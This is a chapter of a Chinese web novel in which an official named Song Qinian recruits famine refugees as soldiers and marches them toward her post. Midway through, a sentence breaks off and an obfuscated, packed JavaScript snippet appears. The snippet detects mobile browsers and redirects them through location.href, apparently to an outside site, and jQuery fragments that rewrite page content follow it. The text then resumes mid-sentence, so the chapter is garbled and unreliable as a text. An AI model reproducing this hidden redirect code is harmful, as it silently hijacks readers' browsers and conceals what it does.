11. 第 11 章

作品:《论女帝是如何练成的

    周围饥肠辘辘的流民们看着他狼吞虎咽的样子,闻着那米粥和馒头的香气,哪里还忍得住?当下又有几个按捺不住,呼啦一下围住李兴平,七嘴八舌地喊着要报名。


    王长兵见机极快,立刻高喊:“都别乱!排好队,一个一个来!看见没?这位王兄弟已经吃上了!名额就三百个,招满即止!晚一步,这粥和肉可就没你们的份了!”他指着吃得正香的王狗子,又环视众人,声音带着蛊惑,“都琢磨琢磨,我家大人图你们什么?你们穷的窝棚都没有一个,还有啥东西值得我家大人骗的?”


    那几个流民一听,慌忙在李兴平面前排开。李兴平利索地挨个检查手掌、看体魄,这几人倒也合格。他挥挥手,示意他们走到宋祁年那边等候。


    宋祁年之所以要再过一道手,就是一开始要在这些人面前树立权威感,另外就是要把把关,特别是不能都招一个地方的人,防止在队伍中形成较大的团体,眼下自己的人手不足,更不能在这方面马虎。


    一连数人顺利通过两关面试,挤到锅边狼吞虎咽起来。那香甜的气味弥漫开,引得四周人群口水直流,骚动不安。他们虽蠢蠢欲动想往前涌,却终究不敢越了那条白线。周遭的野菜都快被挖绝了,此刻面对着白面馒头和浓稠的米粥,谁还能忍得住?更何况,正如王长兵所说,他们还有什么可被骗的?境况还能比眼下更糟吗?一时间群情激奋,后到的人拼命往前挤,叫骂声、推搡声响成一片。


    又一个流民挤到了李兴平的面试桌前。“哪里人?多大年纪?”


    “小、小人是襄阳府来的,今、今年二十三。”声音带着明显的颤抖。


    “可有家眷?”


    “有……有个婆娘,还有……还有两个娃。”


    “孩子多大?”


    那人更加紧张,声音抖得厉害:“一、一个三岁,一个五岁。”李兴平上下打量着他,体格倒是壮实,只是前面招的都是光棍,这人却拖家带口。


    “等着!”李兴平转身回到宋祁年身边,禀报:“大人,您看……是否要改改章程?属下觉得,还是只招光棍为妙。光棍孑然一身,无所顾忌。即便……即便死了,连抚恤银子都省了。眼下应征者众多,倒也不愁无人,能省下三十两便是三十两啊。”


    宋祁年目光投向远处。那流民僵在原地,见宋祁年望来,眼神里满是惊惧,哆哆嗦嗦地跪了下去。稍远处,一个瘦骨嶙峋的女人拽着两个孩子,也如风中弱草般,扑通一声跟着跪倒在地。


    一旁的张国川也附议道:“大人明鉴,单是从此地到驻地,路上开销就不小。这一人便是四张嘴!况且那两个孩子实在太小,去了什么活计都干不了。万一他有个闪失或阵亡,咱们就得养他妻儿三口。”


    两人所言确有其理。两个孩子的负担着实沉重了些。宋祁年思忖着,选兵不仅要看个人勇力,这笔经济账也得算清楚。只是……


    宋祁年目力极佳,那两个孩子瘦得皮包着骨头,跪在地上,小小的脊梁干巴巴地拱起。他们惊慌抬头,脸上只余下两双大大的眼睛,灰扑扑的,透着股死气。


    宋祁年喉头滚动,那个“你”字在舌尖上滚了又滚,最终却像被什么东西死死哽住,没能吐出后面的半句话来。最终,她只是轻轻叹了口气,对李兴平摆了摆手:“人若是没牵没挂,便也没有了顾及。”她目光扫过跪伏在地的一家四口,决断道:罢了,让他带着妻儿一起吧。但丑话说在前头,若他不能胜任,一家人都要退回。再招时,孩子不得超过两个,其余条件照旧。”


    “属下明白。”


    等到下午,三百名额便已招满。这些流民本就来自天南地北,又经宋祁年精心设计的三重筛选,几乎杜绝了结党可能——同一府州的老乡,绝不超过三人。眼看名额告罄,仅剩最后两个,流民们再也按捺不住,若非持刀护卫威慑,恐怕早已冲垮了秩序线。即便如此,人群也在白线边缘鼓噪不休,将李兴平团团围住,争相呼喊,盼着他点中自己。


    宋祁年示意将李兴平唤回,言明最后一人她心中已有人选。


    一个矮小的流民被带到宋祁年面前,脸上瞬间迸发出难以置信的狂喜,连连叩首不止。


    宋祁年简单问了姓名、年纪。


    “好了。你入选了,去吃粥吧。”


    那人又重重磕了几个响头,才畏畏缩缩地起身,小心翼翼捧起饭碗,仿佛捧着稀世珍宝般小口吃起来。


    李兴平压低声音,对宋祁年道:“大人,此人腰身单薄,臂膊纤细……分明是个女子。大人为何选她?”


    宋祁年目光平静地掠过那低头喝粥的身影,淡淡道:“这般乱世,她一个孤身女子能活到今日,想来自有其过人之处。”


    李兴平干脆利落地应了声“是”。此行下来,宋祁年对身边这几个亲兵又添了几分了解:李兴平最大的长处便是令


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818580|175437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    行禁止,从不为命令讲条件,一旦指令明确,也从不质疑其合理性,确是天生的军人胚子。张国川则心思缜密,虑事周全,于庶务调度、安排上尤显老练持重,常能洞见隐患。王长兵不仅处事机敏灵活,更难得的是善于沟通,三教九流皆能应对自如,于安抚人心、化解纷争上颇有手腕。


    周围的流民仍围着不肯散去,喉结滚动,吞咽着空气中弥漫的粥香。那些迟来的更是捶胸顿足,悔恨交加,纷纷跪倒在地,哀声恳求再添几个名额。


    宋祁年目光扫过人群,将李兴平、张国川和王长兵唤至身边。四人迅速聚拢,围成一个隔绝喧嚣的小圈。她分派道,指令清晰而果断:“兴平,长兵,即刻将这些人分为十组。亲卫各领一组,暂时统带。队伍由兴平总领,长兵辅佐。国川,后勤诸事归你调度。分派完毕后,即刻便出发。”


    “遵命,大人!”三人齐声应道,声音里透着毫不迟疑的服从。自剿匪一役后,他们对宋祁年的忠诚愈发深厚。毕竟,一个敢于亲冒矢石、冲锋在前的统帅,纵是女子之身,也足以赢得他们发自内心的敬服。


    三百流民排成两列纵队,一个挨着一个,行进在官道上。石虎走在队伍左侧,目光扫过这群背负沉重行囊的身影。流民们个个肩扛手提,大包小包压弯了腰背——纵然穷得叮当响,却也是“穷家值万贯”,锅碗瓢盆、棉被床单,一样也舍不得扔。宋祁年并未阻拦,默许他们带上这些家当。队伍中仅有的三辆大车,载着十余名妇孺,并堆放了些许吃食,行李则一律不许上车。


    宋祁年自己也未骑马坐车,只是徒步走在流民队伍旁。她侧首问李兴平:“兴平,你看这些兵行军如何?”


    李兴平望着眼前攒动的人头,回道:“回大人,昨日一天行了四十里,无一人丢弃行囊,也无一人掉队。今日这时又走了三十里,也不过十来人撑不住,扔了些锅碗瓢盆。依属下看,这些人常年运河拉纤,筋骨早已磨砺出来,底子极好。若每日能吃饱饭,再舍了这些负累,一日走六十里绝非难事。”


    宋祁年微微颔首。她准许携带行李,本就是为了考验这些人的耐力和韧性。结果令人满意:吃苦耐劳、秉性质朴,更因常年协同拉纤,隐约透出难得的团队默契与纪律性。昨日稍加整训,便能听从口令整齐行进。虽说左右还是分不清,可比那些只知在田垄间劳作的寻常农人,已是强出太多。假以时日操练,其潜力必然更大。